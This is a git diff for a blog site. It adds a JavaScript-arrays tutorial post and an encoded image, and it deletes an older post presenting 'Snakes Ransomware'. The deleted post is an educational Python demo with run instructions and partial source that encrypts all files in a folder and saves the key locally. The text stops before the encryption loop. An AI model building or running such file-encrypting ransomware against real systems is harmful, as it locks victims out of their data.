zBdx7woM!*!|GV`UVI06_dw)v@F0@J0v=^VEk5ekLjuFZc^JOS&^-3N?`GkB%sAN7D^@kwW3d;l zP&k9l+@wJmc0UX%FnZzsh#h^fD&aaiKdA=GEw5=IpWy2jNF1nhUF1sic--eI3F2SZ zU%A`b`l3zq-hX=VOGi=YkuT)&hO|cG9ItZ$2d{m#TQ@syhk`kem&dqI&Co zvKO0a+E!NixPW~Epv3<)L!W`PbIlBOU_l{qI z{#z-A-pQLZOfLBlofNR<&}<`Z z4}mMzc3MDm;l6e_V2X^=Blzm_WDQ^e+xM#&|pSHzZ?= z@hYY94-1*}J)|bTr5C`AvN*GDG|Y*V3shLEVhaBe-PPsoZ&IA1?tT3#{IxrKB7Z1f z?ta@^3I}&`sIUt+# zJ4UMTlZ2+;IT9$;~#JkpQE)BLGK6%gX!Arg4d}jdSSX&_%o{oS>pZur?^vNF1Jmh zzfyyvJ{$Y+ud}Jm=S*L=v1u~+*q(oj?^GN|mtoP(PMf=xyNh#K*1+K5;wORHEGDyG zw0Biuf?In}M@R-8!!le-BAv42;_tfb;U2)qbdcepk&hFMe!&jkY6^ro4OKa}2>nD9 z>(=>hc1pmP9sM7a*rPeZoHA)VPY&K!zdin*HDh4FMyd71bwWX(#yuxONdbs9CMwb3 z`y|11bA7-j?Y=c##KEauEh~kCOJTa2NCTIe&lcJR7hMOs?~fQznLj`X^uH-Y%1J%w zT!28XufLIYu$L#E&d#u7ZVQC=^!6Uc{7OD_%iu*LQR41^MuPsAUGPf3HJ%ZAc+=h{ zLK?T*cq{=Pl~oLZfV?ezRCEW{ip7{{*795(i4g(aNe*2-fvZmYI=*GI_~U<)%u z=m+M|*?l;^`g(h>(l2qpEdZgPb&22u`=0!Xc*fB{rR5T5;q!hc@s2;{1TZ7|W%Jpp zHVeXqOuIgWHVP=%oZBea=0;smMt0W(m?fGdd0|)8j*SBvYf5I3(rVY-pw_^WP}gjk z^R?dNKltKaq$@S_t~a33aP1P0YCYa$DSmPgpksa_)C6ifXc<>wqGd9|4>KM!Vxbc} z*od@zHjmGjaC@KZ)<3&EFDnuv%U>?I97_utmkGA(^;KPr%YZwL{1Zg)9!nk_g+=v_ zf0sMyWJ0ah+16~hYZums_$1XrO`9|e1SmnnQ6D^{##O0dng-KCDku&_;?{y?n>W_5 zO8cSCLtQCtL?b^XtG2u=Q?{X{m~q8jGcSjpblzF9Hz`%#IDz7Az~}g>Gw~!N0g+|Z zru6Y*Lk+OwC(pCpuX7Hy7O);Rfm^p$NNzRy;;~IoZq*VbvU}}Mx)x>cu@V3u7~mX7 zqeTZxd8W;A(5z7DGy9-WXRt20PdBo`oX=@ruq$4J?oyovNVu!A;lRMIU&pxkfX|Nk zk4du${IQ0Xbp_X~m`8ZDFC$VeBQiH^|nW~;UgGa=<+*0o7Gb3tI`Lz zZrSW`ICBgAJ;6h6`e1AvfKu0pWE&7KO`Iu-{i5*R@=ZQ%L&Qh^^gr^w@2= zomqY2GLYU>Ie3$q>rloNYQhrE;c|(*+?mjua;BO66C|UA@YAaZ3ldg(8a7X~Tl{F8 z(af%)P(CKpdWS?`xO3C_np#CLU0DeC37_9*(z8|X(F4X?Zj}3m_F z9TW~74K=)r1DExngA6L))M7V}BVlnUcf*H*5FO{fP|s0G4o#OoY`NBk?3-*VY|_Le z)8mIz-AkTwj~k%`tcIjw6=o#e(z(`$-&GHO{jf)qzev}3YyiReOgNadmrcTbk!lVj z2Yc^wGJc5gToP{c`X%iiD@YRIx9WI~8r?~yK<13JWyd#J(jl?PsmZZr!dit&h_u;d{4bH9JK}r{O^hZ<#;Wbt=p31s$EIj3yOWa&DnP)E+N(s<_Sbr2tN*wD?FJzyy+@&tp^FZ>Z^DYc*X9d#CX!-Um zh)GA|15ZE0(KEOwn-F309;Y$_l#TqRhhjas3meD;`a(cLJEqr(nEVe4STnF-uefhEaKbB!N<+9@2gSihR^9NfF&%vh3fU(`AKPkD=57ssE6?AZ<+ z+_FCrt@{o|gH}@9d*(=L=MCB?G`46Lflq4jWW-rtPYm)}SCI)Pq z{`J+{%=Ke)$X|f6cxw~)u~%)ZouT1gruBZ<=OU|AJDk4x5(CLx1&L*uD^JhR9Nf#T zNqirJcm*vgBmnW0Vq$>iYAy{oExOl^O@6yxCdozp*11L%+hO-jH)>EH#u!^^dVQpU zXIS-K@0uFDaiFl!wI80WiSOUW>7cUwa+k%XQ6lFQbGHo}i}=4I4@GlF--?61WmzD^ zDkDKeZQVkBn=uwnaP}-BY&6W%FCelxxXv%nbShz*Jl6fgJ%iDDo?R)3n*>?B5P={! z&NyP@g0;)ZX_C^Qsun5DjF1W2zVsCjvXQLZq`BZN_~_JD-i@T3S`Kghc-v~8O)Ex; z>_V*2G?l0F&Vc#Eq84fEK3ZPb3^Phz!QesqyN`k67Re>_Y^Mvbu^FfasR*a5CoEA| zhtuUT=G%3=N=Ka0@LSZN+p`Xx8%)Yyii&K}j1q#zPdJL&1cBpbkb8#OO%l|K`hd-R z`04hN0lZoR~3?^r6W4&u-!KRrpR-`}ej zP#P|XNHKtqa#DCLq4GMDd!-iD#?w;M+xqluQG={3&xqRS_R391h%Q&AJ(HueGE&NQ z*j-9LAyBsFvUy7_AXn0WICr_&36tTQ>R31A)=pujgdxFujYp|LeJDZaAKMhxdCX6o zOpU#p#fLrAQr)ddx}A{`Hm~w#P6x`^9N&5uqq)NNJ_sb|0e3%8a<$Y&o7i=yUU7yB zT0Ick`#mh@xLq1ZimVlZ6`XQ(1G0_H^K*&1&L-1c56x+FbT=I>08wKKI!)YCik^iR z0_tnRpPo_VWwESq@e;GWwK_?d>rykUnkSZU?ujV$_jU=-yT8o$P|n+lm!wJ<^9Ik*{N)YZU0PRs~MwoAJGh?EoItCd3=n40bExayQ?hYj%R^*%h4 zR|O(ekdgW%GWr=xD%WDcKd6qZ%c6nmE_ywAFv2rBou>SLj;HNEqw_K+gOf2)lP>Qw zzXB!`puSi2!R=fr+oMwc_nygA8S6W3Ph@g+?i9{nix%&&=Dj6gP?RD?sarr$j&HYj_CQJPyCF zz<9Xexp~4>mB~Z{WlLbJ(W^ITqDlGlj|xjIF8@4s#<$`do~rrgkNZjbQw$(9%+C-& zr-Af+cK#7zI|1@k=8GlTTs#n7b%ywXI?p2A#J<~%FLcuR~Yt^Sj0lK6K-h0%bC zq5Dn_!GOyA+;+pWsn;$>xS4j>qhXO4wdGlwsGeq@fL)ly8zPqMscvm4Dj%|os&?S= zTEC4~M|YpO^PFn^gyJ00A5z%9B-x-~Z6Qrs6E+7*Wg%wLP!&LgYTS>oZ2RGX4uXaD zJiW*06)b>;jdAwghv)f${=Ex+IDuos*bys>@j>rQV~O0)L$L%GIUouA4 zB@E@f4H1i@0^lBJ!@DOgUD!T%>;(~l^-e?y7wgCdU)77>S>1YwwOYAD3h+B zRfoY#vh64{NTk?~mgJ1kkL0yWl}fA1^V`g|bzo7JVA}Nn>(hbroU>EVy2}NFLvufI zkQGNDuR1kq-qLp+p(e!z>M1Q}&mxXaGM0_yv0_R{ZTGXuzuc>}<4inJcM($`q1eXz zkFy&ZC)F`~k%jOJPIC2W4*^X0?9-dbcQ-9#&U&yn?N+w*|;@wYrlo$p`aUoY}58(G(haOWucTifN1XCAQxB~s((jYhv|1+CH9%weQ zLwn~1KDi!z3X= zuBM49mW%&*D!C+JXtHKlEKJ=SL<(B2F-1z2m+O5t!}MwvEqC7yuOpL0rd6z>d~&JDY@BG(B*^ClA;@ISCi*M)(XvsL!yD)T>3k^c_RTB zX*jPh_k+gX&0!s9ASEgJ) zb?vxD{ldA@EcI?}y}ohkcAv!^X!!WE298(#R(JK-#3AG_>T4Pfx3w1AJnr(xvTxP^ zUghmQieV_&yg~0>)cUd*PSu>vSPPR{yx5$8H_pE_s&_1*YnW<9kx0mD(w?02INr| z8k3bp!{^QD;^Hk6C=t&zUF|6ojn)v~H6d#MoM}<)yg`O8E9I;4Y#ObJ!UjFmAb9#& z>e)Qs0&d}2R7^D>ygIarEP{$TFS1%z^IT7Rv>NB_%Y^+>_3ZxmtB#=UHzYlgE;~Sp z+A~uv3qOof(ZdRo%S4rYng+|i8Xd}mW;N!1%bX0mdipB$Ne0d3vzbUu=Xr*PnMw<9 zD4w+O(>wKuBCU&Q9v;nnfcn?ZPb`jsGt9n|e2&{(7Zx(jQE`Ixf zBk6O!+$QSPdR_6|(*noY)H9H`0Kj4=LFHSF)cs$3WjU-1tO{7JHUHz718o!r1bOPU zjnjMS$6MhJ4^FF6`DF(oJvF zfIg?vJAv=iWcHgbXvl(@jJz4i{!|(+YNU#3>xpH{oOj{aO4`8s1e4Dvh@a#BZWSBU zp55S1_|dlf?bymrM@7nw!p7GkrBnXGp9Ku%<QTBljxvuBGiRdZq9rqDeZ5{zp1Ig0Y6ZlQE}u2k%$ z9czcMRH~n2ovx!8zY(c?7IW&~d7p=O; zr?-^`V5X}w@CD6x&Cq4-C#9+)FBGODJ^(9y{1A(U>fq&nNZw^PM?+29HbJaTUO;i<)q zlrQbw^3PY;LC^FoxW2ru_a?~kbm+%CUz@YcyD+!oE62rvFLwk-Af#FjU z8Z2zF)@S{Xn>;WxFV*_px1dGu^t_~32DC{aBVUQk(VQG#Q%}iChP%KXO-bXMQxLgg>zk}Yo zET=1=;vb~o(w942Y!AfJfiXwbwM|B@U#x%~eh-NN@H$Pn$Ixymn|YdWObqE&KREDW zyNEBNMS18LwG>W4fiW1mAEWzdXa4NR$8z6b3x-Q(Nt?rz?Xevr!1+S zA0*@9zGQ#BZ)d*sjX3&MHXeO@LlQMPz8`l%e{7^MkT=`V1wO#-&o@Tj&eGFq;DC#p zx|QgJMfyO*6tn_&hnTLHwJZWl$a{7J!0`rwiY1hH(@(iXL*shM(#>C_6}J%H--#N9IIC_CeUCT5{Zw zCxbnmN?(le6PxwdRWJPellOzHUC*e3`3eLP< zQxY}|#gE7v5A2#)THP*9^+`$CNx*k0Mos-K++vlbC@z98Xc^rrQ|p;sRlXt^)$_Ib z=Ht_ff(nnyVTxhWVR|Z5@TG~@qZ~Nv;Eo>BnAOK5PKU850~0x))iuu;NlCp5^fl<_diY97+0V?8wLr{L+L#IS2Y@gP za&fqJNFgJA*)5fY?MnJi893MexK$-nug=jv)1bhaS7RnMGmh}YYb1NxuDkv|)l^sJ`UB#K_t5iWrL4j{AsP|?*ntD#I&t-D-n&9pKFRU>AN0IDc0-0u3 zl=pgs<>j1t9(89s7G4maT*A1mR}(eJ;c$Hz|Li^;_JaCkThO%)yYqhWdhF_Kv8Bz3 zKF(QvJi*{pUMNzV$dR28^|5P05@q3IN8ZY#vAt8-DAkCK;pJd{U0QBTt$Vj02hZ$h z2q?l)nz199IfSQ?T@KYjt!lf%r)!I)Bc<_wDm(^aXgU5`B#xh+obG2T_ zLwy!^iNI6IaATgZ5pU4C%+Wz<^>P&WB#J^wi=C!uwlRhd@;5cK%c=OFqG9_y%(DHW z=l$a4$`uG@27TN4npwKw}(o}HFg19!sw4hdvv z#5^)+wXrXl!=+ioaD1-pIdF4)Xp)*q@_Z~W2H?B(9XMN0>AC z&C*r?pNx#e@h6~uI&klTiBD$YLMSd;w|3FEnMuaDmC2L63yNN61!dEt*p)6=$xK*y zocr*VXc&e8>B=DLw|}ezLhT4(VZNScg;96Js?cHg72|^^6T-*MQ1JJ1T)pY>Bz3&3 z&Fm$`9G^>ef6OA<2zc91R;sUXPM=7$rRqKqc>dEdLc`%r$e|$k*8KTQz^5qa%|>$l z=_#?U$M;G72Hx^!-iW3e?md^Q`M~$Dlb7#qgvfpPzAxo&DV=qLu|!LGrR=Ei)U&PB z3;AObvW{0wbR2#xTc2dLyYID((EG2AR!W^!wB6vdFcbuUV1{2gvb0$I!u39QPB$r~ z53WAls|P>3t3$9YADlwTw$l_=atUiowg98%@Kj(K_qfnc6(zGC{F>7tbno)-ir?J^ zSdx_I^94F=QfSQ?a%L5rlZQR83>hM|?^lqd8I5}=J^bYr1RrPn8ST4h%nvbEC~>vp zs7@s>ah{n8RYwFA<~}!pdYl@zdw_VWzz37m(eyb+I`&Z&8;}m6)tm>z&x#gi{qY~(P1v8hUKP{h}n21qtxB)je*Y`EVU5|oQWx9FXJA@=R4V?Xc)9H zvngSi0&q}~m@LT(t<1t_Iek<`55|=1B6pht48I+@x3Lxjh+1)VK(4D1@YhxA7{Jzk zRCs_El#6slqOwwIr&A|Lee-5?nP-(l9`UE5CU zGYEIRqx4vGo1#|b&m&u!DxmimBvkCKt#fTwqABP@=<^W$+T5u}{ zt1O<0Z8}g=j~k|`!S^1_u^+CAT2|ae++(7PiGk3|1UO!vifFYTV%N4(rioP6d-!dR zXNE8GFZtl9PIK;F* zj)uHzw$A+xFE!E}?2>;s2Q*%Mp03G5_5+_qY9D_#s(I(RpA6ny@K`ORIh^5Rq(!HPH!wLF@+CSff*sIRlfyy79aoJp2Zb-5 zN0~F>j9e}E?@l*PFnlzdbY53Nmd^yCn1yB^j$l=aD4d~XlL8i5;$Quiq%66eNT8GA*vTlTUqu{Lf4w^yQ~bH!g}*n8&dl6IP>(x7 zzR673+~!nDZ79|Ru?uypAvY{rnMf@;rgr+YSn?odOrnV0z2)zX#=8AbLQeCyNZWqF zl_5>8zeF#@Xw5X*aTmjuH&}wUB_A^x*Yf!X&V6u3!2V-IWCWkz`M|l^Y#C^M@vq+~ z-r%>H+UJdGLJjY|=xBwK_DrkGB1!g51?!F*V6E0~Tn;8I83Is1S~@lwrwyTF@iE^5 zhv7#Gh~_IO?f5c<*ZE(*PvM)qn|F3ld5@JsWShBnPbic^T}ag16t$h1ci-9wO4a!7 z%_y{>8Xwp1)(ALIe;BKOs`j|}(d*awT0yNiqO8TXO_+z)p%*#iK=0Yd4Q^E>GKVCP zlfX_K^`{+nqmml`6tAe+6VI%t?XT&Xq+WAY-CR-&C*s;*uI+~r)H|E-nMkUFIWyBl zjNL4?Kw5tOU>>r`(l_2>kqP_i(Rp6T)5O90h=6vnV2_pxMES0vlU~f8k0PtEIR_Fs zs6kXuA46p}EvGLzY-~8A!9sF`@!khu2a@*#FPWWGF9P3ssgyZ>(*URa5%Ojnw&0ug zY*rVQx*p!o?+4+_oZ&pH+sLnXjKuF1egzars11dY?B)!QRsp9O$Wm{w;nLHrKu@tG#qJQFK#thx&P9B2$*@ah&zRLO&Tk?a0xn>Q zPx_eGd!<`&@8{R)C8$C+184Kd#$)NK4x9%=38ToG=ilUJUcQ<8etTk%gbqMUr zx%g64{rtBoTegU@7_f8JAnZ!;gBZ6o&OfV>wlT&5QZ0|v59daf6y!X+WBD2e>W5#UmBJzVU;Aq{q(#q{O*)$w>o+LQis6W%R zy$b=m?PUJ}EUwPG!mVuvYp1pxn9I8*>H&}Tz#~%o(Ue%#^|0L=D9@PC1L_E|A}eUHW2>_b=&8d_ zCZ>!27_AH`m*yO4v7C=1HYq%(Y3qNyyB?lzxZeS_B@n2jiUeRjE7uyl&^4xt2XO6L zRYt@K51OluPoq$rPOzUqpJ8GB{W`IQqsxHC^Ww}>0JTl8Ixn)wcL z1~d;hV-#}V<+7^`#~1K}a!fHvrI`RHnKIjP?uq#6*0wC7SR(Qml|_BAR)4m@r8{z@ z;5P_(<^^!q*i2?%x|j!-5>0&K^|Fm+T9EK>3sVE=-j6eGGCRMb$bOwtLpF= z^dfWv?y?_vbJZpTzV71-;s>S`lPSzS;LgW0ToSFuB!d=?OzhUY>GQ;4G+(vB>&UNG z^|?_i(?dosJtX(-1crG8=qRO3=C!iUhXx3kXalwaZ_iL^QzZk)=xG_+EU2BI9DdW#QAgg#eQOer` z1a(dlsHUQuPSX9U>byqVuRRwb_8yUI`D|9E65U9h!H0^?=vl)8t%TcWN8tQt7YqMfld&v~{b6;OXJ(!= z9dahEpp)R0@DD)VVWdG-?sekHw>wUZK|aTUXCTrC6Gu%%r&x|SiYSf&{_pb{tG+3g zz2o-cwz0ngh_}A(Iot(>&1Oredw8y=UMhbv=D8MVdguV19uQ+Mh9` zh}IWhDU<9L|w@k2U6_QTx0pLt|eADz*xMyKR{g&FC59 z>!lA)$Okph54L-57K3WC8ou1ikigLNx7!689CX9_!D~7rp39MGm~&9eb*Uz`aQj6e z$jbDrU`sd0>~(*4qwrWJ*L5dpRntC($#RiIC^{V{;Pk7M+!`0x^@~l zm+CHGX%N1qxX5PZdl;RA*hON3mI6r`0_=9WjKzJnjwJRo#6aS$ZqadHIuz&rGXG~< zQp3)5U`VVLX$%1^P1B@q^j-&l1rQ-9F&M=tz?ZaBY3YK|AcHz5&>iWtW_bu#( zA3wK)XqvkjkYF{Kf#xF8)hr7abxp!43?GYAwC|7C+n}J&Rl2f zO6-Omsm|jept!Y<*=cWpR`DBeyoAS=;wH%3eg8IOvY-5@fIl|zGx*WiR2Pl~vbUxS zl-BC(&M2h;Z%YEZALK8Y+Zyys9fqUcdsY~{3mu2Joq zMq3?aYHm=iaORQ+kE_MaR{eApaxoBa4A{o=X>wSe9l<@&_F1oOYFb-PwVP?9@j;b2W&5ag#7O(Gol`UuSC$aLcyq z?D>u;JE9}-wKP6G+f;38Hi#EsjLEw{R@fVN68Em!uV<{k3f28A7I*tM^`~WYUXZ^a znyLJyC$)i)6)n*ignE}fa{X=zk(4=?VL8`4ztI2zT@mYApIcyn0FCQw9v!HO&;z*w zliDZo*Y6jsw7t&Oh**&Ar4dFSjMl2F1H5ul;@uxS0t7FCydhOh{K()Dvo^w{?%ff}77{Be@w1a-nRJ1wX~-;BI8;|@H=0YcLq|S?;_aw z73A})aQ&rR8p7)gz5?}FiH?I`*u;`;URuOpv2a*Z+oSZ*!kj0WVEF^;*e+I{#)O@`5g<%Ev-*@pCcqy*X|||G5qK2)jVDO1TwQ zmo3)(8KScBp>J~zZP*(}g@%31$Pi{CQcjT7q-kRMb*>Q5GgOjS(P%o6NnKZChQi|` z*XWewV?g_TH?Df&WINRvLilr!b;}`@#)5cqbBT1pEDhb{NawRZb9+Zf7mQiQ>D1XB z;B{pVuu7ABsHLE^wkkty=HDDt3V&1`ShAZcmc(+#imG$+e1Fc9NLps|Cl#4r0SHV`} z6m(XXCcvE4Ltm?4T>Is^{QczVgGN4j(GetTI-lMBW8MEu)jur6b^E9285axp9np48 ziLqn1IUI~+%zgBl32Mf^I2e1)2Y6Mo_@|Le4*q#s5qoYt>Xa@$vGY$i(`SB<3UURZ zirSe7RLDeaTiqF{or@D4kI&VNU!+4T{^B+KV(@K|Psfye>$AdH;;E}CQCyQV{brtk z8mL;^M#E+F4V?|fZ27F+lFS%&4zR(Z&s6O^D!%XxQ7YuLN)U-kUJ%nC8V#gA%NAQ}&<%WfOLwG-SRI-f zwP9C;Va1?7U{#D*^oXY zA>2$RM~mE8nf`;_Fg`ApRqS)NOdmNZ;g8141gqw_q09nAVT2cMLG- z#rs!3xyS2&dA?em=&vj4^CVk?-({v2Q5Z|BO{SMv!tF0x@IRBtZERbpti9i zhxpK4J1p!b4W9A-xh72Kt>(4Vu*wi7=9PB6#(t`d_TFjR7e9Vvf- zmz6adb7vx6w#&@%6~x_lgCCWOlVeaO9IBFy{c+p|SVI5$`kT~_FyFWV{!5lgs)Ih%XY-R`UK5%YxE`F~JV+H($JPlFJ%mU)eQr~p%_v**@TP!^G+uE6|>LR!h(~ZT&HYl#(rJ&BE^v zAC^^3rM~cJ8cMCEn@%9>wpqFV-H7zqpw}<6+Ph3z{H z*1u{mex+$jiP>J&9)edU&8R)Bl20a|UkbkHh#9v+by*uE1Pm)*m17h-39mcujKbgE z*JWQP`8|d2MJcY{U>j~Q5{uXMrU5}FagtB&B6gsHk@^7|veR>x_4yuCh9b$XC8#-G zT(|G&u)R{XF|qLe@_?V;dtK3YYVh-?YIY)8DsveVwdKi0>D`8hwu4!Oc&k6) z=v9YM(IfIRHr0sXM&wMxV4*079z`|jAd_<1g?yB&J9y#brwZ^H{oW1r?Jnp;PV#AC zRW8tj;7hYN*Cbx#)pbeH1DK&rhBw7rYlnC6GY216{Wj)SaM*~+us)yTY$S^h)#p-q zf5DOzR7B}eTOt6E3#O@3VN%Ih9XjCGs3k0_)yzsmN%HJZR*Y>9JAgCk25EAUNEoCn zaC-DFC#QBq$538V$KeRGlbWPu8W2{?XkvqlkcO~eMm$hAPQF)eAj#S?Y^`mG8tzC_ zaB2J#ivslXUZyR@F~Ro`wcJA&sk4ubMPi;>#y0n4e$!tKV?1)a^5`s@ov3z;Zr!?D zrXv4J&zYrtj4-)0kof6FJrZR#!HTVIa8->32dE9uECydUL*2t(Fh( z+c?rGPt@>>Jr20Z8i)cA`48YTD@*By+BW=v`OaF!n=A&QMxKC0A)xJ3jZ@2}-0Kf$kJB8}aRs`j_}YGg*|A1AH%+VIE>^-9W*yDVQAM`5-IxiQr!^#Q><)mxwu)}G zOKFlDCC?5UGZP#qZzIB#snb$3z2=fWK3Ce2HT9|uB=+mxSg@#bt#WP0*yXz{`7Cr# zCO32+jaT!6#&rU91PZ^Jj0(K+#z!-MezW?~YAm!Qw+cJ(ut;UdqzE{DD#?O(dB|tj zsO#no8Fs#E5nG0e;U9 zk-s%n_?3k#2c!;TkZi3PrIBQ3Ay3iA8oYXbnz3oF9y#_z@8MJ>>xl@7*X z2%mY;sG*+V1v|uJ;(w3~QB}8<)Aqg?^tL(b@l4B(ZBX zQo*cfrLu5v&|Z2TZxOwM@k{iZk|W*%lCYHw!v-KaVc;@&_zBwB%>!2B*DQtXo2}nG zen2+^)>U)98NiPZE&A3<)Ci(0N&>=lW@qOOZC=0f^qg(?xUtVPo4l@$Dg7v!qZj7} znRE`eK?6vprehch#{!p7DejIvA-hMJEnADhB!dKg^Ji?qA;Q%I+Bk!qPK6m~0 z_jX$J=D^joL)1>v*~qXzCj^`%8WH8%=0g_+xZ`uF%_x`8SUmM1sMgFJKpF{qa{7=~shEzt-o5l=r5%;rA NRTMPkD`npV|36SkRm=bY literal 0 HcmV?d00001 diff --git a/src/content/blog/english/JavaScript.md b/src/content/blog/english/JavaScript.md new file mode 100644 index 0000000..9539ba2 --- /dev/null +++ b/src/content/blog/english/JavaScript.md @@ -0,0 +1,183 @@ +--- +title: "Demystifying JavaScript Arrays: Common Methods and How to Use Them" +meta_title: "Understanding JavaScript Arrays and Their Powerful Methods" +description: "A comprehensive guide to JavaScript arrays and their most commonly used methods, complete with examples and best practices." +date: 2025-01-15T16:30:00 +image: '/images/javascript.png' +categories: ["JavaScript", "Web Development", "Programming"] +author: "Zubair Korai" +tags: ["JavaScript", "Arrays", "Programming Tips"] +draft: false +--- + +Arrays are a cornerstone of JavaScript programming, providing a versatile way to store and manipulate collections of data. Whether you're managing a list of users or processing a series of events, mastering JavaScript arrays and their methods is essential. + +This blog will explore the most commonly used JavaScript array methods, provide practical examples, and share tips on how to use them effectively. + +--- + +## What Are JavaScript Arrays? + +In JavaScript, arrays are special objects that store ordered collections of elements. These elements can be of any type—numbers, strings, objects, or even other arrays. + +### Example: +```javascript +const fruits = ['Apple', 'Banana', 'Cherry']; +console.log(fruits); // Output: ['Apple', 'Banana', 'Cherry'] +``` + +Arrays are zero-indexed, meaning the first element is at index 0. + +--- + +## Common Array Methods and How to Use Them + +Here’s a breakdown of popular JavaScript array methods and their practical applications: + +### 1. **push()** and **pop()** +- **push()**: Adds one or more elements to the end of an array. +- **pop()**: Removes the last element from an array. + +#### Example: +```javascript +const numbers = [1, 2, 3]; +numbers.push(4); // Adds 4 +console.log(numbers); // Output: [1, 2, 3, 4] + +numbers.pop(); // Removes the last element +console.log(numbers); // Output: [1, 2, 3] +``` + +--- + +### 2. **shift()** and **unshift()** +- **shift()**: Removes the first element of an array. +- **unshift()**: Adds one or more elements to the beginning of an array. + +#### Example: +```javascript +const items = ['A', 'B', 'C']; +items.shift(); // Removes 'A' +console.log(items); // Output: ['B', 'C'] + +items.unshift('X'); // Adds 'X' at the beginning +console.log(items); // Output: ['X', 'B', 'C'] +``` + +--- + +### 3. **map()** +- Creates a new array by applying a function to each element of the original array. + +#### Example: +```javascript +const numbers = [1, 2, 3]; +const squares = numbers.map(num => num ** 2); +console.log(squares); // Output: [1, 4, 9] +``` + +--- + +### 4. **filter()** +- Creates a new array containing elements that pass a test defined by a callback function. + +#### Example: +```javascript +const numbers = [1, 2, 3, 4, 5]; +const evens = numbers.filter(num => num % 2 === 0); +console.log(evens); // Output: [2, 4] +``` + +--- + +### 5. **reduce()** +- Reduces the array to a single value by applying a function to an accumulator and each element. + +#### Example: +```javascript +const numbers = [1, 2, 3, 4]; +const sum = numbers.reduce((acc, num) => acc + num, 0); +console.log(sum); // Output: 10 +``` + +--- + +### 6. **forEach()** +- Executes a provided function once for each array element. + +#### Example: +```javascript +const fruits = ['Apple', 'Banana', 'Cherry']; +fruits.forEach(fruit => console.log(fruit)); +// Output: +// Apple +// Banana +// Cherry +``` + +--- + +### 7. **find()** and **findIndex()** +- **find()**: Returns the first element that satisfies a condition. +- **findIndex()**: Returns the index of the first element that satisfies a condition. + +#### Example: +```javascript +const users = [ + { name: 'Alice', age: 25 }, + { name: 'Bob', age: 30 }, +]; + +const user = users.find(user => user.age > 25); +console.log(user); // Output: { name: 'Bob', age: 30 } + +const index = users.findIndex(user => user.age > 25); +console.log(index); // Output: 1 +``` + +--- + +### 8. **sort()** +- Sorts the elements of an array in place and returns the sorted array. + +#### Example: +```javascript +const numbers = [4, 2, 5, 1, 3]; +numbers.sort((a, b) => a - b); // Ascending order +console.log(numbers); // Output: [1, 2, 3, 4, 5] +``` + +--- + +### 9. **splice()** +- Adds or removes elements from an array. + +#### Example: +```javascript +const colors = ['Red', 'Green', 'Blue']; +colors.splice(1, 1, 'Yellow'); +console.log(colors); // Output: ['Red', 'Yellow', 'Blue'] +``` + +--- + +### 10. **concat()** +- Merges two or more arrays into a new array. + +#### Example: +```javascript +const arr1 = [1, 2]; +const arr2 = [3, 4]; +const merged = arr1.concat(arr2); +console.log(merged); // Output: [1, 2, 3, 4] +``` + +--- + +## Conclusion + +JavaScript arrays offer a rich set of methods to simplify data manipulation and processing. Whether you’re a beginner or an experienced developer, mastering these methods can significantly enhance your programming efficiency and help you write cleaner, more effective code. + +Experiment with these methods, combine them creatively, and leverage their power to build robust applications. Happy coding! + +--- diff --git a/src/content/blog/english/post-1.md b/src/content/blog/english/post-1.md deleted file mode 100644 index 8f6155d..0000000 --- a/src/content/blog/english/post-1.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: "Understanding Ransomware and a Dive into Snakes Ransomware" -meta_title: "" -description: "Ransomware" -date: 2022-05-16T05:00:00Z -image: "/images/snakes-ransomware.png" -categories: ["Project","Ransomware", "Python"] -author: "Krishna Chaitanya Ethamukkala" -tags: ["snakes ransomware", "ransomware"] -draft: false ---- -## What is Ransomware? - -Ransomware is a type of malicious software designed to block access to a computer system or encrypt its data until a sum of money, or ransom, is paid. It’s a form of cyber extortion that has become increasingly prevalent, targeting individuals, businesses, and even government organizations. Once infected, victims are often left with a grim choice: pay the ransom to regain access to their files or risk losing them forever. - -### How Ransomware Works - -Ransomware typically spreads through phishing emails, malicious websites, or software vulnerabilities. When the malware is executed, it begins encrypting files on the victim's system, rendering them inaccessible. A ransom note is then displayed, demanding payment in exchange for the decryption key. - -The use of ransomware has evolved over the years, with cybercriminals employing more sophisticated techniques to avoid detection and increase their chances of receiving payment. Unfortunately, even after paying the ransom, there’s no guarantee that the files will be restored. - -## Introduction to Snakes Ransomware - -Snakes Ransomware is a Python-based tool I’ve developed to demonstrate the encryption and decryption processes involved in ransomware. While this project is intended purely for educational purposes, it highlights the mechanics of ransomware in a controlled environment. - -### Features of Snakes Ransomware - -- **File Encryption:** Encrypts all files in a specified folder. -- **Key Generation:** Creates a unique key for each encryption process, which is crucial for decryption. -- **File Decryption:** Provides a way to decrypt the previously encrypted files using the generated key. - -## How to Use Snakes Ransomware - -### Step 1: Installation - -First, ensure you have all the required dependencies installed. You can do this by running the following command in your terminal: - -```bash -pip install -r requirements.txt -``` - -### Step 2: Encryption Process - -To encrypt files within a target folder: - -1. **Copy the Encryption Script:** - - Place the `snakes-encrypt.py` file into the folder you want to encrypt. - -2. **Execute the Script:** - - Open a terminal and navigate to the folder containing the script. - - Run the following command: - - ```bash - python snakes-encrypt.py - ``` - -3. **Encryption Completion:** - - After execution, all files in the folder will be encrypted, and a key file named `snakes-key.key` will be generated. This key is essential for decrypting the files. - -### Step 3: Decryption Process - -To decrypt the files: - -1. **Copy the Decryption Script:** - - Place the `snakes-decrypt.py` file in the folder containing the encrypted files. - -2. **Add the Encryption Key:** - - Ensure the `snakes-key.key` file is in the same directory as the decryption script. - -3. **Execute the Decryption Script:** - - Run the following command in your terminal: - - ```bash - python snakes-decrypt.py - ``` - -4. **Decryption Completion:** - - The encrypted files will be restored to their original state. - -## How Snakes Ransomware Was Created - -Creating Snakes Ransomware involved a deep dive into cryptography and file handling in Python. The key aspects of the program include: - - -### **Encryption Script Explanation** - -This script is designed to encrypt all files in the current directory, except for the encryption script itself and the key file. - -#### **1. Importing Necessary Libraries:** -```python -import os -from cryptography.fernet import Fernet -``` -- `os`: Used to interact with the operating system for file operations. -- `cryptography.fernet`: A symmetric encryption method from the `cryptography` library, which is used to encrypt and decrypt files. - -#### **2. Listing Files to Encrypt:** -```python -files = [] - -for file in os.listdir(): - if file == "snakes-encrypt.py" or file == "snakes-key.key": - continue - if os.path.isfile(file): - files.append(file) -print(files) -``` -- The script lists all files in the current directory. -- It excludes the encryption script (`snakes-encrypt.py`) and the key file (`snakes-key.key`) to prevent them from being encrypted. - -#### **3. Generating the Encryption Key:** -```python -key = Fernet.generate_key() - -with open("snakes-key.key", "wb") as thekey: - thekey.write(key) -``` -- A new encryption key is generated using `Fernet.generate_key()`. -- This key is saved in a file called `snakes-key.key`. This key is essential for decrypting the files later. - -#### **4. Encrypting the Files:** -```python -for file in 